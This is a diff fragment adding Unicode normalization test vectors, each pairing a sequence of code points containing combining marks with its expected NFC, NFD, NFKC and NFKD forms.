+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CD4, 0x0062], NFC: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CD4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CD4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CD4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD7, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD7, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD8, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD8, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CD9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CD9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CD9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CD9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDA, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CDB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CDB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CDB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CDB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CDB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDC, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDC, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CDF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CDF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CDF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CDF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE2, 0x0062], NFC: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE2, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE2, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE2, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE3, 0x0062], NFC: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE3, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE3, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE3, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE4, 0x0062], NFC: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE4, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE4, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE4, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE5, 0x0062], NFC: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE5, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE5, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE5, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE6, 0x0062], NFC: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE6, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE6, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE6, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE7, 0x0062], NFC: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE7, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE7, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE7, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x1CE8, 0x0062], NFC: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x1CE8, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x1CE8, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x1CE8, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1CED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1CED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1CED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1CED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1CF9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1CF9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1CF9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1CF9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1CF9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DC2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DC2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DC2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DC2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC5, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC6, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC7, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC8, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DC9, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DC9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DC9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1DC9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1DC9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1DCA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1DCA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1DCA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1DCB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1DCB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1DCB, 0x0315, 0x0062] },
